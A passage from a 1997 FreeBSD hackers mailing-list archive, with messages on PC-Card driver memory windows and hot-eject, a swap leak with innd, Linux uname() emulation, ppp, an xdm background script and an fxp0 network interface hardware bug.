Oct 1997 02:12:44 -0700 From: Andrew McRae Message-Id: <199710110912.CAA06638@doberman.cisco.com> To: phk@critter.freebsd.dk Cc: hackers@freebsd.org Subject: Re: pccard driver questions (FreeBSD 2.2.2-RELEASE + PAO-970616) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk phk@critter.freebsd.dk (Poul-Henning Kamp): >>The only other driver I've seen in the FreeBSD source pool which seems >>to want to play with 'uiomove()' and window mappings like this is >>sys/i386/isa/scc.c, but the driver is rife with comments of the form: >>"bad things will happen if you pull the card out while the system is >>running" > > This you can write above any instruction which accesses a pccard. > With the "surprise style" (as opposed to "VCR-style") eject mechanism > the hardware may be gone without notice from one instruction to the > next. Nothing you can do about it. This, unfortunately, is one of the downsides of the random hot-swap PC-Card technology. However, PC-Cards do have some protection here; the socket has slightly shorter pins for the card detection, so that you get a small (indeterminate?) delay between the detection of the eject, and the power being removed from the card. If your accesses are short enough, and you are not spending inordinate amounts of time in your ISR, then you should be fairly safe (ie we can't tell you how thin the ice). >>My second question has to do with the way slot controller chips are >>probed. From looking at 'pcic_probe()' in sys/pccard/pcic.c, it looks >>for all the world to me that only a single slot controller chip is >>supported (i.e., there are no unit numbers, and there is only one >>statically-allocated "slot_ctrl" struct). Is it true that FreeBSD >>currently only supports one slot controller chip (which controls two >>slots), or am I missing something? (I'm hoping the folks working on >>-current might have some knowledge on this...) > > Well, the overall framework does support it, the actual code may not. > I should be a minor thing to get it fixed, give a little bit of > hardware and time. The architecture should allow multiple slot controllers, theoretically - at the time, it was a not a high priority. > > I don't actually know if we have the necessary callbacks into the > pcic driver to modify the memory windows on the fly. If not we > will need to add them. > -- > Poul-Henning Kamp FreeBSD coreteam member > phk@FreeBSD.ORG "Real hackers run -current on their laptop." When I did the original PC-Card stuff, the intention was to allow processes to map the memory windows as desired, and then use the usual device I/O to read or write the memory. The pccard daemon does this to read the card configuration. Is this sufficient for this application? Cheers, Andrew McRae. From owner-freebsd-hackers Sat Oct 11 02:33:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA10424 for hackers-outgoing; Sat, 11 Oct 1997 02:33:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA10417 for ; Sat, 11 Oct 1997 02:33:04 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id TAA01051; Sat, 11 Oct 1997 19:00:02 +0930 (CST) Message-Id: <199710110930.TAA01051@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Fred L. Templin" cc: freebsd-hackers@freebsd.org Subject: Re: pccard driver questions (FreeBSD 2.2.2-RELEASE + PAO-970616) In-reply-to: Your message of "Fri, 10 Oct 1997 13:15:15 MST." <199710102015.NAA01520@grayling.erg.sri.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Oct 1997 19:00:01 +0930 From: Mike Smith Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Redirected to -hackers, where IMHO this really belongs. > So, in short, I need to be able to use 'uiomove()' to copy data/commands > into/out of the card's common memory space from an application using the > open, close read, write, and ioctl semantics and I need to be able to switch > between attribute memory space and ccommon memory space. But, in order to do > this I need to manipulate the per-slot window mappings which get set up when > the card is found by pccardd and which are managed by the slot controller > code in sys/pccard/{pccard,pcic}.c and my fear is that by doing so I would > risk a system crash if a pccard event caused the slot controller code to > yank it's resource allocations out from under my driver while it was > accessing them. I'm not sure I understand why you want to manipulate the per-slot mappings. The card offers a window of some fixed size, which you can relocate over its internal address space, correct? If this is the case, then you only map this window once, and subsequently fiddle the cards internals to shift the window around. > running" which makes me nervous about following their model. So my first > question is - how can I write a driver for a memory-mapped PCMCIA card > which can disassociate itself from the slot controller driver when the > device is probed, yet still allow me to manipulate the per-slot window > mappings? Again I'm not sure I understand why you want this dissociation. You are concerned with what will happen if the card is ripped out from under you, which is fair enough. You can expect something like the following sequence: - talking to card, all is OK. - card is removed. - talking to card, not responding. - driver removal hook is called. Effectively, you will need to code your driver defensively; you should be prepared to handle completely bogus responses from the card on the basis that shortly after the bogus response you will receive removal notification. You can test this behaviour very easily once you have the skeleton of your driver running; poll an address on a fast timeout, rip the card and see how many polls (if any) you get with a bogus value before your removal hook is called. Note that it's possible (not having checked the code) that the memory mapped for the card is revoked before the removal hook is called (it shouldn't be, but it might). If that's the case, polling as above may cause a kernel fault, and the unmapping will have to be fixed. > statically-allocated "slot_ctrl" struct). Is it true that FreeBSD > currently only supports one slot controller chip (which controls two > slots), or am I missing something? (I'm hoping the folks working on > -current might have some knowledge on this...) FreeBSD currently only supports one controller; docking bays with extra PCICs are a relatively new innovation, and the PCCARD code is a little older than that. mike From owner-freebsd-hackers Sat Oct 11 05:15:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA17455 for hackers-outgoing; Sat, 11 Oct 1997 05:15:50 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA17446 for ; Sat, 11 Oct 1997 05:15:38 -0700 (PDT) (envelope-from jhay@zibbi.mikom.csir.co.za) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.8.7/8.8.7) id OAA20692; Sat, 11 Oct 1997 14:15:14 +0200 (SAT) From: John Hay Message-Id: <199710111215.OAA20692@zibbi.mikom.csir.co.za> Subject: Re: vm bogons in 2.2? In-Reply-To: from Marc Slemko at "Oct 11, 97 02:30:06 am" To: marcs@znep.com (Marc Slemko) Date: Sat, 11 Oct 1997 14:15:14 +0200 (SAT) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I have also seen this. It got so bad that I had to restart innd a few times a day. After I have upgraded to inn 1.6b3 and disabled MMAP it hasn't happened again. I haven't switched MMAP on with 1.6b3, so I'm not sure which of the two changes it was that fixed it. John -- John Hay -- John.Hay@mikom.csir.co.za > This is 2.2-stable as of Aug 18. > > I have posted on similar things before (running out of swap when there > should be no reason), but haven't really got any ideas. > > What I'm seeing now is swap usage growing and growing without being able > to find anything using it. > > last pid: 9885; load averages: 0.79, 0.72, 0.74 01:59:02 > 52 processes: 2 running, 48 sleeping, 2 stopped > CPU states: 9.8% user, 0.0% nice, 17.3% system, 1.1% interrupt, 71.8% idle > Mem: 43M Active, 11M Inact, 19M Wired, 18M Cache, 8350K Buf, 2112K Free > Swap: 320M Total, 71M Used, 249M Free, 22% Inuse > > PID USERNAME PRI NICE SIZE RES STATE TIME WCPU CPU COMMAND > 17925 news -14 0 29740K 23424K ufslk2 237:27 8.16% 8.16% innd > 3059 news 2 0 9040K 8988K select 27:33 3.17% 3.17% innfee > 15153 root 2 0 676K 596K select 0:23 0.72% 0.72% sshd > 9883 marcs 31 0 632K 768K RUN 0:00 2.74% 0.38% top > 9885 news 33 0 252K 740K RUN 0:00 4.69% 0.23% expire > 8476 news 2 0 940K 12504K sbwait 0:17 0.08% 0.08% nnrpd > > > Then I kill pid 3059. > > last pid: 10457; load averages: 0.95, 0.85, 0.79 02:05:10 > 48 processes: 2 running, 44 sleeping, 2 stopped > CPU states: 17.5% user, 0.0% nice, 14.1% system, 3.0% interrupt, 65.4% idle > Mem: 52M Active, 6920K Inact, 19M Wired, 14M Cache, 8351K Buf, 1060K Free > Swap: 320M Total, 36M Used, 284M Free, 11% Inuse > > Why is a 10 meg process freeing 35 megs of swap? I am quite sure that > killing that process is what caused the problem. > > The process allocate and deallocates a reasonably large amount of > memory over time (say... a total of a couple of gigs over the couple > of days it had been running; not much more than ~10 at a time > though). > > I haven't seen any changes in 2.2-stable recently that would fix > this, but I will upgrade it when I get around to it to see... > From owner-freebsd-hackers Sat Oct 11 06:56:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA20323 for hackers-outgoing; Sat, 11 Oct 1997 06:56:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA20288; Sat, 11 Oct 1997 06:56:30 -0700 (PDT) (envelope-from hoek@hwcn.org) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.7/8.8.7) with ESMTP id JAA02371; Sat, 11 Oct 1997 09:57:02 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.7/8.8.7) with SMTP id JAA05284; Sat, 11 Oct 1997 09:57:24 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Sat, 11 Oct 1997 09:57:23 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: Tim Vanderhoek To: Richard Foulk cc: freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). In-Reply-To: <199710110256.QAA19979@pegasus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 10 Oct 1997, Richard Foulk wrote: > If it runs under Linux it should run under the emulator. Good emulation > is fully bug compatible. Linux uname() _DOES NOT_ return "Linux", it returns the name of the operating system! That just happens to be "Linux" on most implementations, but if you were to read the manpage, you would see that uname() on Linux is not guaranteed to return "Linux". http://www.ctyme.com/linuxdoc/MAN0810.HTM Similarly, if you read FreeBSD uname() manpage, you will see that we are not documented to return "FreeBSD". Ie. Our uname() can return "Linux", "Xenix", or "Win95" and still be working correctly. -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Sat Oct 11 07:22:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA21522 for hackers-outgoing; Sat, 11 Oct 1997 07:22:46 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA21516 for ; Sat, 11 Oct 1997 07:22:43 -0700 (PDT) (envelope-from thompson@tgsoft.com) Received: from squirrel.tgsoft.com (cx20270-a.pwy1.sdca.home.com [24.0.169.3]) by freefall.freebsd.org (8.8.6/8.8.5) with SMTP id HAA01619 for ; Sat, 11 Oct 1997 07:22:12 -0700 (PDT) Received: (qmail 14099 invoked by uid 128); 11 Oct 1997 14:22:41 -0000 Date: 11 Oct 1997 14:22:41 -0000 Message-ID: <19971011142241.14098.qmail@squirrel.tgsoft.com> From: mark thompson To: freebsd-hackers@freebsd.com Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk subscribe freebsd-hackers-digest From owner-freebsd-hackers Sat Oct 11 08:33:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA24255 for hackers-outgoing; Sat, 11 Oct 1997 08:33:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA24250 for ; Sat, 11 Oct 1997 08:33:05 -0700 (PDT) (envelope-from brian@awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id PAA26887; Sat, 11 Oct 1997 15:38:42 +0100 (BST) Message-Id: <199710111438.PAA26887@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: doconnor@ist.flinders.edu.au cc: freebsd-hackers@FreeBSD.ORG Subject: Re: IJPPP dial on demand In-reply-to: Your message of "Thu, 09 Oct 1997 20:56:18 +0930." <199710091126.UAA07708@holly.rd.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Oct 1997 15:38:42 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Also, would it be possible to allow the dial command to be used from the ppp > command prompt? This would allow some very handy stuff to happen.. > (I tried, but got also sorts of weird problems happening) Check out the man pages. There are now some examples in pppctl(8). > Any help much appreciated :) > > Seeya > Darius > ~~~~~~ > -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sat Oct 11 08:34:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA24299 for hackers-outgoing; Sat, 11 Oct 1997 08:34:15 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA24286 for ; Sat, 11 Oct 1997 08:34:03 -0700 (PDT) (envelope-from brian@awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id OAA26791; Sat, 11 Oct 1997 14:57:04 +0100 (BST) Message-Id: <199710111357.OAA26791@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: dkelly@hiwaay.net cc: Douglas Carmichael , freebsd-hackers@FreeBSD.ORG Subject: xdm opening sequence [was Here's the start of a FreeBSD rock 'n roll anthem] In-reply-to: Your message of "Tue, 07 Oct 1997 19:55:43 CDT." <199710080055.TAA05357@nospam.hiwaay.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Oct 1997 14:57:04 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > What do you think? (Anyone have any original ideas?) > > > > Deep Purple > > Machine Head > > [snip] > > > Smoke on the water, fire in the sky > > Very good! Reminds me of the jpeg of Chuck on a rock with a sunbeam > breaking thru a cloudy sky that came from someone in the Japanese > FreeBSD group. I don't know where to download that picutre anymore > as the URL I used quickly disappeared. But the one I sometimes use > for an X background was "daemon0-HQ-1024x768.jpg" > > Animate the picture above. Record you lyrics. Combine. Send to MTV. I got that picture from www.freebsd.org recently - can't remember exactly where. It's an excelent opening X screen: dev:~ $ cat /usr/X11R6/lib/X11/xdm/Xsetup_0 #!/bin/sh # $XConsortium: Xsetup_0,v 1.3 93/09/28 14:30:31 gildea Exp $ xv -root /usr/local/shared/mm/pic/FreeBSD/daemon1.jpg -quit xconsole -geometry 480x130-0-0 -daemon -notify -verbose -fn fixed -exitOnFail dev:~ $ fgrep xlogin /usr/X11R6/lib/X11/xdm/Xresources | fgrep geom xlogin*geometry: -30+160 I haven't looked into what other program besides xv will do this, but wouldn't this be a good thing to include as standard ? > -- > David Kelly N4HHE, dkelly@hiwaay.net > ===================================================================== > The human mind ordinarily operates at only ten percent of its > capacity -- the rest is overhead for the operating system. > > -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sat Oct 11 09:35:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA26758 for hackers-outgoing; Sat, 11 Oct 1997 09:35:35 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA26742 for ; Sat, 11 Oct 1997 09:35:13 -0700 (PDT) (envelope-from brian@awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id QAA26993; Sat, 11 Oct 1997 16:29:29 +0100 (BST) Message-Id: <199710111529.QAA26993@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Jordan K. Hubbard" cc: hackers@FreeBSD.ORG, "Matthew D. Fuller" Subject: Re: group assignments from make world. In-reply-to: Your message of "Tue, 07 Oct 1997 21:53:12 PDT." <22723.876286392@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Oct 1997 16:29:29 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Just a P.S. to my previous message, I'd should also note that I'd be > the first to suggest that we should add a "special issues for -current > and -stable users" to the FAQ it I didn't already know from bitter > experience that people stopped reading the FAQ long ago (this probably > not even being entirely their fault since there have been long periods > where this resource was essentially so stale as to be untrustworthy). [.....] I'll take a look at improving it then. I've recently tried to revive it a bit already.... Everything needs a FAQ :-) > > Jordan -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sat Oct 11 09:36:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA26819 for hackers-outgoing; Sat, 11 Oct 1997 09:36:49 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from kaori.communique.net (kaori.communique.net [204.27.67.55]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA26812 for ; Sat, 11 Oct 1997 09:36:44 -0700 (PDT) (envelope-from mango@staff.communique.net) Received: by kaori.communique.net with Internet Mail Service (5.0.1458.49) id ; Sat, 11 Oct 1997 11:35:46 -0500 Message-ID: From: Raul Zighelboim To: "'hackers@freefall.freebsd.org'" Subject: fxp0 lost connectivity! Date: Sat, 11 Oct 1997 11:35:45 -0500 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1458.49) Content-Type: text/plain Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello there! I have this system running 2.2.2-RELEASE + Patches, were patches: - allow for 512 Megs of Ram - if_fxp.c 1997/06/13 07:45:42 - ahc (and scsi): $Id: aic7870.c,v 1.53 1997/06/27 19:39:34 gibbs Exp $ This system has been working very nicely for over a month now: # uptime 11:25AM up 46 days, 2:34, 1 user, load averages: 0.78, 0.78, 0.83 And the ethernet interface has been quite busy:# netstat -ni Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Coll fxp0 1500 00.a0.c9.66.eb.72 925583797 533386 926780807 2 37893832 then, last night, the server went down :-( Actualy, It did not go down, but the ethernet interface went down. Loggin into the console port and doing 'ifconfig fxp0 up' fixed the problem. Otherwise, everything on the system looks alright, and the only error found on the log files (I log everything) is a lot of: xntpd[86]: sendto(204.27.65.10): No route to host and similar for other running services... So: is this a known problem ? How do I fix it ? What should I look at if it happens again (hardly, as I am running ifconfig from crontab every */5 now), Could bad input packets bring the interface down ? Thanks. From owner-freebsd-hackers Sat Oct 11 10:11:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA27864 for hackers-outgoing; Sat, 11 Oct 1997 10:11:20 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA27859 for ; Sat, 11 Oct 1997 10:11:15 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id KAA22971; Sat, 11 Oct 1997 10:12:23 -0700 (PDT) Message-Id: <199710111712.KAA22971@implode.root.com> To: Raul Zighelboim cc: "'hackers@freefall.freebsd.org'" Subject: Re: fxp0 lost connectivity! In-reply-to: Your message of "Sat, 11 Oct 1997 11:35:45 CDT." From: David Greenman Reply-To: dg@root.com Date: Sat, 11 Oct 1997 10:12:23 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Name Mtu Network Address Ipkts Ierrs >Opkts Oerrs Coll >fxp0 1500 00.a0.c9.66.eb.72 925583797 533386 926780807 >2 37893832 That's a lot of input errors - you should look into that. >then, last night, the server went down :-( >Actualy, It did not go down, but the ethernet interface went down. >Loggin into the console port and doing 'ifconfig fxp0 up' fixed the >problem. Otherwise, everything on the system looks alright, and the >only error found on the log files (I log everything) is a lot of: > >xntpd[86]: sendto(204.27.65.10): No route to host >and similar for other running services... > >So: is this a known problem ? Yes, it's caused by a hardware bug. >How do I fix it ? There is a fix in both -current and -stable that works around the hardware bug. >What should I look at if it happens again (hardly, as I am running >ifconfig from crontab every */5 now), Other than no input coming in, there are no other symptoms. >Could bad input packets bring the interface down ? Yes, the hardware bug is triggered by receiving certain types of garbage. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Sat Oct 11 10:20:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA28246 for hackers-outgoing; Sat, 11 Oct 1997 10:20:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from innocence.interface-business.de (innocence.interface-business.de [193.101.57.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA28237 for ; Sat, 11 Oct 1997 10:20:25 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by innocence.interface-business.de (8.6.11/8.6.9) with UUCP id TAA13139 for freebsd-hackers@FreeBSD.ORG; Sat, 11 Oct 1997 19:20:21 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id TAA19071; Sat, 11 Oct 1997 19:18:32 +0200 (MET DST) Message-ID: <19971011191831.II60607@uriah.heep.sax.de> Date: Sat, 11 Oct 1997 19:18:31 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: xdm opening sequence [was Here's the start of a FreeBSD rock 'n roll anthem] References: <199710080055.TAA05357@nospam.hiwaay.net> <199710111357.OAA26791@awfulhak.demon.co.uk> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710111357.OAA26791@awfulhak.demon.co.uk>; from Brian Somers on Oct 11, 1997 14:57:04 +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brian Somers wrote: > I got that picture from www.freebsd.org recently - can't remember > exactly where. It's an excelent opening X screen: > > dev:~ $ cat /usr/X11R6/lib/X11/xdm/Xsetup_0 > #!/bin/sh > # $XConsortium: Xsetup_0,v 1.3 93/09/28 14:30:31 gildea Exp $ > xv -root /usr/local/shared/mm/pic/FreeBSD/daemon1.jpg -quit Btw., recompute it to a .GIF of the desired size. This displays way faster than a JPEG. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Oct 11 10:59:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA29915 for hackers-outgoing; Sat, 11 Oct 1997 10:59:42 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA29899 for ; Sat, 11 Oct 1997 10:59:34 -0700 (PDT) (envelope-from brian@awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id SAA01743; Sat, 11 Oct 1997 18:56:40 +0100 (BST) Message-Id: <199710111756.SAA01743@awfulhak.demon.co.uk> X-Mailer: exmh version 2.0zeta 7/24/97 To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) cc: freebsd-hackers@FreeBSD.ORG Subject: Re: xdm opening sequence [was Here's the start of a FreeBSD rock 'n roll anthem] In-reply-to: Your message of "Sat, 11 Oct 1997 19:18:31 +0200." <19971011191831.II60607@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Oct 1997 18:56:40 +0100 From: Brian Somers Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Btw., recompute it to a .GIF of the desired size. This displays way > faster than a JPEG. Thanks - I never realized that :-) It loads about 10 times faster (and is only 3 times the size). > -- > cheers, J"org > > joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE > Never trust an operating system you don't have sources for. ;-) -- Brian , , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sat Oct 11 11:36:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA01688 for hackers-outgoing; Sat, 11 Oct 1997 11:36:30 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from innocence.interface-business.de (innocence.interface-business.de [193.101.57.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA01675 for ; Sat, 11 Oct 1997 11:36:23 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by innocence.interface-business.de (8.6.11/8.6.9) with UUCP id UAA13417 for freebsd-hackers@FreeBSD.ORG; Sat, 11 Oct 1997 20:36:12 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id UAA19307; Sat, 11 Oct 1997 20:21:55 +0200 (MET DST) Message-ID: <19971011202155.MO14254@uriah.heep.sax.de> Date: Sat, 11 Oct 1997 20:21:55 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: xdm opening sequence [was Here's the start of a FreeBSD rock 'n roll anthem] References: <19971011191831.II60607@uriah.heep.sax.de> <199710111756.SAA01743@awfulhak.demon.co.uk> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710111756.SAA01743@awfulhak.demon.co.uk>; from Brian Somers on Oct 11, 1997 18:56:40 +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brian Somers wrote: > > Btw., recompute it to a .GIF of the desired size. This displays way > > faster than a JPEG. > > Thanks - I never realized that :-) It loads about 10 times faster > (and is only 3 times the size). I realized this when i was trying to optimize long xdm startup delay on a notebook. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Oct 11 14:17:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA08162 for hackers-outgoing; Sat, 11 Oct 1997 14:17:27 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA08151 for ; Sat, 11 Oct 1997 14:17:23 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with ESMTP id OAA23660 for ; Sat, 11 Oct 1997 14:16:53 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id OAA23447 for ; Sat, 11 Oct 1997 14:16:52 -0700 (PDT) Date: Sat, 11 Oct 1997 14:16:52 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Subject: Is this a bug, or just a feature. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Shouldn't it be an error to call open("/dev/fd0", RD_ONLY|WR_ONLY,0)? I guess if your device doesn't like being read-only and write-only then it should look at oflags for itself? Or should this be caught at the syscall and rejected? From owner-freebsd-hackers Sat Oct 11 14:59:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA11970 for hackers-outgoing; Sat, 11 Oct 1997 14:59:01 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr06.primenet.com (tlambert@usr06.primenet.com [206.165.6.206]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA11964 for ; Sat, 11 Oct 1997 14:58:59 -0700 (PDT) (envelope-from tlambert@usr06.primenet.com) Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id OAA05792; Sat, 11 Oct 1997 14:58:52 -0700 (MST) From: Terry Lambert Message-Id: <199710112158.OAA05792@usr06.primenet.com> Subject: Re: group assignments from make world. To: brian@awfulhak.org (Brian Somers) Date: Sat, 11 Oct 1997 21:58:51 +0000 (GMT) Cc: jkh@time.cdrom.com, hackers@FreeBSD.ORG, fullermd@futuresouth.com In-Reply-To: <199710111529.QAA26993@awfulhak.demon.co.uk> from "Brian Somers" at Oct 11, 97 04:29:29 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Just a P.S. to my previous 